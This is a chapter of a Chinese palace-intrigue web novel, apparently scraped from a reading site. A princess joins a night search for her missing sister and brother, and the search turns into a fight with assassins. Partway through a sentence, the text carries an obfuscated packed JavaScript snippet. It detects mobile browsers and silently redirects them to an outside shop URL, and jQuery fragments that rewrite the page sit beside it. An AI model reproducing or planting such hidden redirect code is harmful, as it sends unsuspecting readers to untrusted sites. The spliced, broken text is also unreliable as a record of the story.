文趣网 > 其他小说 > 镇国长公主 > 3. 短兵相接
    萧元昭摩挲着骨哨,在帐中来回踱步。

    前几日萧元沁早早就返回了营地,怎么正巧在今日迟迟未归?

    她记得青荇收拾行李的时候,隔壁贤妃帐中似乎也在做同样的事。

    春猎已至尾声,营地中往来之人甚众,为了避免被人冲撞,德妃不让萧元昭随意离开,只可在附近活动。

    那小溪就算是骑着马也要一刻钟才能到,贤妃怎会许她在这个节骨眼上,跑去那么远的地方?

    越是深思,萧元昭越发觉得不对劲。

    还没等她同德妃开口,就听得外面禁军通报:

    “现下刺客还未见踪迹,侍卫人数有限,恐难兼顾,奉统领之命将各帐中的贵人都护送至御帐前,统一照看。”

    德妃念佛的声音停住,愣怔了一会儿,才起身拉着萧元昭往外走。

    人多眼杂之下,萧元昭不便多言,只打算等到了御帐,再挑无人注意的时候将自己的怀疑告知德妃。

    皇帝面前已经挤了一大群人,有禁军精锐在一旁保护,大多数人脸上的神色都比较放松。

    贤妃紧搂着九皇子萧元珪,泪水涟涟。

    萧元珪脸上也带着焦急之色,不住地向帐外张望。

    德妃刚一见到皇帝,泪珠便滚滚落下。

    萧崇德上前一步,扶住她摇摇欲坠的肩膀,低声安慰:“翊儿本领不输我当年,肯定能平安回来,你先别急着伤心,再哭坏了眼睛。”

    “可是刺客还不知道有几人,翊儿他孤身前去,我实在是放心不下。”德妃呜咽道。

    “父皇派了二十名御前侍卫跟着三弟,德妃娘娘暂且宽心。他们武艺高强,定能护三弟和六妹平安。”太子萧元琮在一旁开口。

    二十名御前侍卫,再加上德妃派去跟随的两名禁军,算得上一支精锐的小队了。

    帐中嘈杂,萧元昭慢慢地挪到御帐门口,任夜风吹拂自己的脸颊,生怕错过了兄长的骨哨声音。

    她穿了一身暗青的衣裳,灯火昏暗间,差点被一道往外走的高大身影撞到。

    “抱歉!”那人反应极快地后退了半步,脚下稳稳扎住。因手上握着一杆长枪,只能低头向她赔礼。

    “无妨。”萧元昭看清来人,是御前侍卫统领赵放的侄子,忠武侯世子赵恒。

    “不知将军何去?”她没注意帐中情形,开口询问,又怕耽搁了赵恒的任务,忙往旁边避去,将门口让开。

    赵恒认出了她,又知此行与她兄长有关,便简短地解释:“德妃娘娘刚求了陛下再派些人去接应三殿下,领命之人,正是在下。”

    “我与将军同去!”

    萧元昭心念电转,话音刚落,便率先走出帐外。

    青荇连同其他宫女内侍,都没有资格进帐,只能站在外面的空地上忍受料峭春寒。

    见萧元昭出来,她立即迎上。

    “快,去把我的马牵来!”萧元昭冲她小声喊道。

    萧元昭没有给赵恒拒绝的机会。

    等赵恒持枪上马,几名亲卫紧随其后,正要出发,萧元昭也纵马行至他身侧。

    “殿下不可行此鲁莽之事。”赵恒面色严肃。

    他手中长枪一横,挡在萧元昭身前,示意亲卫先走。

    “我不会拖后腿!”萧元昭急道。“我知道元沁练习骑马的位置在哪,而且,我还带了和哥哥联络的哨子。”

    她将骨哨展示给赵恒看,见对方依旧不为所动,只能想别的办法。

    “将军尽管策马,如果在出营地前我掉了队,就自己回来,绝不踏出营门一步。”

    她轻推了一把亮银枪的枪杆,示意赵恒不要再继续耽搁。

    赵恒看了她一眼,收枪扭身纵马便往营门处驰去。

    他马术极佳,尽管亲兵先行片刻,在离营门不过数丈之时,他已经赶上了最前面的一名亲卫。

    “都快点!”他速度不减,扬声道。

    亲卫的坐骑虽然也是百里挑一,但比起萧元昭的良驹,还是逊色了不少。

    纵使他们个个骑术过人,但萧元昭屏着一口气,在越过辕门之前,追上了排在最后的那个。

    赵恒的脸色很不好看,隔着夜色横了落在萧元昭身后的那个亲卫一眼。

    愿赌服输,他没有继续要求萧元昭留下,反而控制了速度,让萧元昭处在这支队伍的中间位置。

    刚才跑得太快,萧元昭在马背上颠簸之后,像是被人打了几拳,但她不敢泄气,紧跟在赵恒身后。

    “六公主殿下前几日去的,是哪个方向?”快要行至一个岔路口,赵恒回头问。

    “这边!”萧元昭指了指通向小溪上游的那条路。

    众人马不停蹄,从林中掠过。

    不多时,溪流已近在眼前。

    赵恒收住马势,身后的一众亲兵也立时勒马。萧元昭一路跟过来,也算能勉强配合。

    马蹄声止,潺潺水声变得格外清晰。赵恒听了一会儿,没发现有人声,目光示意萧元昭用她的骨哨先做联络。

    清亮的哨音短促地响了一声,萧元昭屏息凝神,很快便听到了回应,只是隔得太远,听不真切。

    她看向赵恒,对方点点头,表示自己也听到了回声。

    萧元昭放下心来,又吹响了一声,还是短音。

    这是她和萧元翊早已约好的暗号,表示一切无虞。

    期待的回音也照常响起,只是从溪流下游逆风而来,已失了大半。

    “哥哥在下游,暂时无事。”萧元昭说道。“但是应该还没找到元沁,不然他会唤我们过去。”

    “现在分散开,各个方向都去找。天黑看不见,就喊一声,停三息,无人回应再继续喊,不要互相影响。”赵恒一挥手,亲卫便按照他的指令各自行动。

    “刺客还未找到,殿下需待在我旁边,不可擅自走动。”他也对萧元昭做了安排。

    “我晓得的。”萧元昭点头。

    “报!”有两名亲兵折返,向赵恒汇报:“发现了两匹马,从马鞍的形制看,有一匹应该是六公主殿下的。”

    “两匹马?”萧元昭有些奇怪。“另一匹是谁的?”

    “回禀殿下,另一匹马鞍也十分华贵,看着像是男子的款式,主人身份不明。”亲兵回道。

    “元沁前几日都是由宫女和护卫牵着马过来,只带一匹马。”萧元昭向赵恒解释。

    “同行之人既身份贵重,应当在此次春猎随行人中。”赵恒道。“若两人此刻在一处,倒是比六公主殿下独自一人要安全一些。”

    越往溪流上行,离营地越远,路也越险。两旁没了林木遮掩,抬眼便可望见一道不足丈许的瀑布,遥遥缀在前方。

    “继续找!”赵恒枪尖点了点溪流向下的方向。“若周围没有打斗痕迹,两人没有马匹,不会走得太远。”

    亲卫皆四散在林中,赵恒也没有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676533|207490||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    闲着,策马沿着小溪下行,萧元昭骑马跟在他身后。

    往前走了百步有余,赵恒突然勒马,目光扫过漆黑一片的密林。

    “小心。”他低声道。

    见萧元昭点头,赵恒拨马挡在她与树林之间,右手握紧长枪,吹了一声口哨。

    随行的亲卫没有迟疑,纷纷从各处向世子靠拢。

    林中之人知道自己已被发现,也不再蛰伏。伴着弓弦的轻响,数支短箭冲着两人的方向射来。

    赵恒长枪横扫,将短箭尽数挡落。

    两人现在正处于开阔平坦的溪边草地,清朗月色下,如同活靶子。

    “退到林中去。”赵恒简短地下令。

    有了树木的遮挡,不再敌暗我明,他也没有掉以轻心。在亲卫全部汇集,守住所有方向之前,两人身侧的破绽太大。

    潜行的刺客并非孤军奋战,他们说着萧元昭听不懂的话,从四面逼近。

    已有刺客与赵恒的亲卫交上了手,兵器相撞,火把熄灭,萧元昭甚至听到了利刃刺入血肉的声音,但此刻也分不清是敌是友。

    “确认各自位置,靠拢!”赵恒扬声道。

    萧元昭没有开口,握紧了鱼尾刀,手心沁出汗水。

    “咻————”不知何处的刺客又射出短箭。

    距离太近,赵恒来不及格挡,萧元昭看到赵恒的动作,下意识一缩头,那短箭没入身旁的树干。溅起的木屑打到她脸颊,一阵刺痛。

    疼痛让她脑子清醒了些,抓起骨哨,用力吹了两声。

    这是她和萧元翊约好用来示警的信号。眼下敌众我寡,无力久战,呼叫另一方支援,是更明智的选择。

    赵恒已经在和三名刺客缠斗,一边还不忘将萧元昭护在身后。

    终于,有前来汇合的亲卫赶到。

    “先护卫公主!”赵恒来不及多言,喝道。

    与他交战的刺客听见这话,似是愣了一瞬,被他一枪挑翻一个。剩下的两人合力也不是他对手,稍有疏忽,便被长□□中,血流如注。

    其余的刺客也短暂地乱了阵脚,直到其中某个领头的人低喝了一声,才又继续展开攻势。

    萧元昭不知道兄长是否听到了她的哨声,但此刻她也做不了别的,只能握着骨哨,又吹响了两声。

    像是明白她在求援,刺客的攻势便更猛了几分。好在后赶到的几名亲卫将她围在中间,连续挡下了几次进攻。

    在狭小的环境中搏斗,受伤在所难免,萧元昭的身上已经溅了血,既有刺客的,也有亲卫的,她自己暂还完好无损。

    刺客的招式凌厉,同忠武侯府上训练有素的亲卫也打得难分高下。

    有一名亲卫不慎被砍中了左肩,刺客的刀卡在他关节处,两人一起,倒向萧元昭的方向。

    为了避免伤到萧元昭,亲卫死死按住刺客那只要拔出刀的手,膝盖同时顶向他的腹部。

    没有甲胄的保护,刺客被这一击撞得吃痛,动作迟缓下来。

    就在此刻,一柄小刀没入了他的咽喉。

    萧元昭的鱼尾刀只剩下刀柄还在外面,她的手已经松开。

    温热的血液喷了她半边脸,顺着下颌滴落在衣襟。

    她还来不及将对方瞪大的眼睛和垂死时“嗬嗬”的嘶声从脑海中拂去,便被赵恒抓住胳膊往旁边一拉。

    又是三支短箭,射在了她原来的位置,箭尾的羽毛还在不断颤动。